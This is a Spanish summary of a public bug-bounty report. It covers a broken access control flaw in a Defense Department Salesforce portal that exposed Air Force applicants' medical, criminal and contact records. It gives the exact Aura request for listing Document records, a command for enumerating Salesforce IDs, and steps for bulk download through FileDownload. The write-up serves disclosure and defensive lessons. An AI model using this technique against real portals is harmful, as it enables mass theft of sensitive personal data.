Reports
CRÍTICA[IDOR / BOLA]#2968391

Fuga masiva de datos de aspirantes de la Fuerza Aérea de EE. UU. por un control de acceso roto en un Salesforce del DoD

Cualquier usuario autorregistrado en un portal Salesforce del Departamento de Defensa podía listar objetos Document y descargar, adivinando IDs, chats de reclutamiento con datos médicos, penales y de contacto de aspirantes a la Fuerza Aérea.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo estaba en un portal de comunidad de Salesforce propiedad del Departamento de Defensa de EE. UU. (el nombre del host está censurado en el reporte). La configuración de permisos a nivel de registro del objeto estándar Document era incorrecta: cualquier cuenta creada desde el formulario público de autorregistro podía enumerar esos documentos a través del endpoint Aura /s/sfsites/aura y luego descargarlos uno a uno con /servlet/servlet.FileDownload?file=<ID>.

Entre esos documentos había, según el investigador, registros de aspirantes a la Fuerza Aérea que parecen proceder del chat en vivo con reclutadores. Cada fichero incluía la conversación completa y datos como:

  • nombre completo, dirección, teléfono y email;
  • datos médicos;
  • historial de consumo de drogas;
  • antecedentes penales;
  • datos académicos.

El investigador estimó, a partir de una prueba breve con IDs y tamaños de fichero, que había cientos de miles de registros expuestos. HackerOne lo clasificó como Improper Access Control - Generic con severidad crítica, y el programa lo marcó como resuelto.

Pasos de reproducción

  1. Crear una cuenta en la página pública de autorregistro del portal (/s/login/SelfRegister). Al terminar, la sesión queda iniciada dentro del portal.
  1. Con un proxy como Burp, capturar cualquier petición POST que el propio portal haga a /s/sfsites/aura. Esa petición ya lleva el aura.context y el aura.token válidos de la sesión. Enviarla a Repeater.
  1. Sustituir el parámetro message por una llamada al controlador genérico de listas de Salesforce, pidiendo 2000 registros del objeto Document. El resto de la petición (cookies, aura.context, aura.token) se deja como estaba:
POST /s/sfsites/aura?r=19&ui-comm-runtime-components-aura-components-siteforce-qb.Quarterback.getAllowedPostMessageOrigins=1 HTTP/2
Host: [REDACTADO]
Cookie: [REDACTADO]
Content-Type: application/x-www-form-urlencoded;charset=UTF-8

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Document","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=[...]&aura.pageURI=%2Fs%2F&aura.token=[REDACTADO]

El cambio respecto a la petición original del portal es solo el message:

- message={"actions":[{"id":"127;a","descriptor":"serviceComponent://ui.comm.runtime.components.aura.components.siteforce.qb.QuarterbackController/ACTION$getAllowedPostMessageOrigins","callingDescriptor":"UNKNOWN","params":{}}]}
+ message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Document","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

Los documentos que devuelve esta lista no eran sensibles en sí; lo que interesa son sus IDs.

  1. Tomar uno de los IDs de la respuesta, por ejemplo 015t0000000m7QgAAI.
  1. Descargarlo desde el navegador con la sesión iniciada:
https://[host]/servlet/servlet.FileDownload?file=015t0000000m7QgAAI
  1. Generar una lista de IDs "vecinos". En Salesforce los identificadores son semisecuenciales (los 15 primeros caracteres avanzan casi de forma ordenada y los 3 últimos son un sufijo de control calculable), así que un script puede contar hacia atrás desde el ID conocido:
$python3 salesforceids1.py 015t0000000m7Qg -100000
015t0000000m7QfAAI
015t0000000m7QeAAI
015t0000000m7QdAAI
015t0000000m7QcAAI
015t0000000m7QbAAI
(etc)
  1. Lanzar esa lista en Burp Intruder contra el GET /servlet/servlet.FileDownload?file=<ID>. Según el investigador, enseguida empiezan a aparecer ficheros con datos sensibles de aspirantes; en el reporte aportó tres IDs concretos encontrados así como prueba.

Impacto

Un atacante sin ninguna relación con el Ejército, con solo registrarse en un portal público, podía descargar en bloque conversaciones privadas entre aspirantes y reclutadores de la Fuerza Aérea junto con su nombre, dirección, teléfono, email, información médica, consumo de drogas, antecedentes penales y expediente académico. Son datos que los reclutadores preguntan expresamente durante el proceso, de modo que la fuga afectaba precisamente a la información más delicada de cada persona, y a una escala estimada de cientos de miles de registros.

Remediación

El reporte no detalla qué cambió el programa; solo consta que el fallo quedó marcado como resuelto. La corrección natural es restringir el acceso del perfil de los usuarios del portal (autorregistrados e invitados) al objeto Document y a la descarga por servlet.FileDownload, de forma que cada usuario solo pueda ver los ficheros que le pertenecen.

Qué aprender de este caso

  • En portales Salesforce (Experience Cloud), comprueba si el controlador SelectableListDataProviderController/ACTION$getItems, invocado vía /s/sfsites/aura, devuelve registros de objetos estándar como Document, ContentDocument o Attachment a un usuario recién registrado: si lo hace, los permisos de objeto o las reglas de compartición están mal configurados.
  • Un ID filtrado en un listado aparentemente inocuo puede abrir la puerta a todo lo demás: con identificadores semisecuenciales como los de Salesforce, enumerar los vecinos y pedirlos a servlet.FileDownload convierte un fallo de control de acceso puntual en una descarga masiva.
  • Al montar estos portales, revisa qué ve el perfil de autorregistro y no solo el de invitado: el riesgo no desaparece por exigir "cuenta", porque crear una cuenta era precisamente el primer paso del ataque.